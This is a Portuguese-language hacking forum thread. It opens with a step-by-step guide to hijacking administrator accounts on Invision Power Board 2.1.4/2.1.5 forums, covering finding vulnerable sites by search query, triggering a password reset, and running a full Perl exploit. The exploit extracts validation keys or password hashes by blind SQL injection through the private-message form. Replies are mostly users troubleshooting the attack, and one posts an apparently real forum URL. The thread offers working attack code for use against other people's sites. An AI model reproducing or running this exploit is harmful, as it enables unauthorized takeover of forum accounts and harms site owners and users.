Galera, vocês podem falar o que quiserem, também sou contra receitas de bolo, mas como o pessoal gosta, vou postar uma legal aqui.
Vou ensinar passo-a-passo como Ownar um IPB 2.1.4/2.1.5 . ;)
Primeiro, procure um fórum vulnerável, de preferência um IPB 2.1.4 (A busca: powered by Invision Power Board v2.1.5 pode ajudá-lo).
Você precisa de um cadastro válido, logo faça o cadastro.
Procure pelo adiministrador do sistema, ou sua vítima, e procure o User ID dele.
Dê Logout e vá à página de login. Clique em "Perdi minha senha" (Ou algo assim :P ).
Aparecerá uma mensagem dizendo que sua senha foi enviada para seu email.
Depois execute o exploit (Que se encontra no final do post), na parte que ele lhe pergunta o tipo ("Type") ponha 1 ("1. Validation Key Hash").
Ele irá lhe retornar uma hash MD5 (Essa hash é o Validation ID, VID, Chave de Validação, enviado ao e-mail da vítima). Copie e salve em algum lugar.
Agora vá à URL: http://www.vitima.com.br/index.php?act= ... stpassform (http://www.vitima.com.br/index.php?act=Reg&CODE=lostpassform)
Insira o User ID da vítima, o VID (Aquele MD5 que o exploit retornou) e escolhe uma nova senha para o usuário.
Pronto! Você resetou a senha da vítima! Agora é só fazer a festa!
Exploit:
#!/usr/bin/perl
use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;
my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'f');
my %form = (act => 'Msg',
CODE => '04',
MODE => '01',
OID => '',
removeattachid => '',
msg_title => 'asdf',
bbmode => 'normal',
ffont => 0,
fsize => 0,
fcolor => 0,
LIST => ' LIST ',
helpbox => 'Insert Monotype Text (alt + p)',
tagcount => 0,
Post => 'jkl');
my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;
$ua->cookie_jar ($cj);
push @{ $ua->requests_redirectable }, "POST";
print "+-------------------------------------------------------------------------+\n";
print "| IPB Validation Key & Pass Exploit |\n";
print "| |\n";
print "| |Exploit Found & Researched By 3l3ctr1c and Demmo |\n";
print "| |\n";
print "| |Possible Idea Given By SHAK |\n";
print "| |Perl Modification By ReZEN of xorcrew |\n";
print "| |\n";
print "| http://h4cky0u.org |\n";
print "| www.bhunited.org.uk |\n";
print "| |\n";
print "| For Information On How To Use This Exploit Visit the Above given URL(s) |\n";
print "| |\n";
print "| Contact Us At : 3l3ctr1cS[AT]gmail[DOT]com |\n";
print "+-------------------------------------------------------------------------+\n";
print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
chomp (my $pass = <STDIN>);
print 'Target userid ? ';
chomp (my $tid = <STDIN>);
print "Type: ? \n 0. Password Hash \n 1. Validation Key Hash\n";
chomp (my $type = <STDIN>);
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }
do {
$resp = $ua->post ($base_url . $login_page,
[ UserName => $user,
PassWord => $pass,
CookieDate => 1,
]);
} while ($tries-- && !$resp->is_success());
$tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}
do {
$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());
$tries = 5;
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
$form{post_key} = $1;
} else {
die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
$form{auth_key} = $1;
}
$| = 1;
print "\nAttempting to extract hash from database...\n ";
OFFSET:
for ($i = 0; $i < 32; ++$i) {
CHAR:
for ($j = 0; $j < @charset; ++$j) {
$tries = 5;
print "\x08", $charset[$j];
$vid = "vid";
if($type){
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_validating WHERE member_id = ' . $tid . ' AND MID('
. 'vid, ' . ($i + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')';
}else{
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_members WHERE id = ' . $tid . ' AND MID('
. 'member_login_key, ' . ($i + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')';
}
$form{from_contact} = $sql;
$resp = $ua->post ($base_url . $post_pm_page, \%form,
referer => $base_url . $pm_page);
if (!$resp->is_success()) {
die "\nError: " . $resp->status_line
. "\n" if (!$tries);
--$tries;
redo;
}
if ($resp->content =~ /sql error/i) {
if ($need_null) {
die "Error: SQL error.\n".$resp->content ;
} else {
$need_null = 1;
print $resp->content;
redo OFFSET;
}
} elsif ($resp->content !~ /there is no such member/i) {
print ' ';
next OFFSET;
}
}
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;
Façam bom uso.
Fonte: h4cky0u, traduzido e implementado por HadeS.
HadeS
Já tinha visto esse exploit!
Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!
.Froz3nnn
http://www.gardensoccer.com/forums (http://www.gardensoccer.com/forums)
:(
Se vocês souberem alguma coisa legal pra fazer me falem ?!
falou!
Acabei de tentar esse exploit fazendo tudo que você mandou fazer no forum do meu site (IPB 2.1.5) felizmente não funcionou...
QuoteJá tinha visto esse exploit!
Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!
.Froz3nnn
Cara se é muito inteligente sabia disso?
QuoteJá tinha visto esse exploit!
Lembrando aos desinformados que se aparecer 00000000000000000000000000000000 quer dizer que o forum está patheado ou melhor, está sem essa vulnerabilidade!
.Froz3nnn
Cara se é muito inteligente sabia disso?
[/quote]
hahaha.. adorei seu post
Quando aparece
Target user id?
q eu ponho \o/
flw?
ae vejão se eu fiz certo

(//http://img57.imageshack.us/img57/5186/lolsolsolsosloe8.jpg) (//http://imageshack.us)
ae eu sai e deixei aberto..
quando voltei aparece isso :S
(//http://img66.imageshack.us/img66/9843/slsoslshn6.jpg) (//http://imageshack.us)
corto a imagem e ñ deu pra vcs lerem ja que não tem edit vejão ae pls
http://img57.imageshack.us/img57/5186/l ... osloe8.jpg (http://img57.imageshack.us/img57/5186/lolsolsolsosloe8.jpg)
Amigo, leia a explicação do
HadeS.
Quote from: "Froz3nnn"... na parte que ele lhe pergunta o tipo ("Type") ponha 1 ("1. Validation Key Hash").
¬¬
a 2° dúvida eu queria saber a 1° eu ja achei..
Sua 2° dúvida seria a questão dos 0000000000000000000000000000???
Se aparecer "0"s, é porque o fórum não está vulnerável.
HadeS
uq causa isso
(//http://img246.imageshack.us/img246/9775/afdi1.jpg)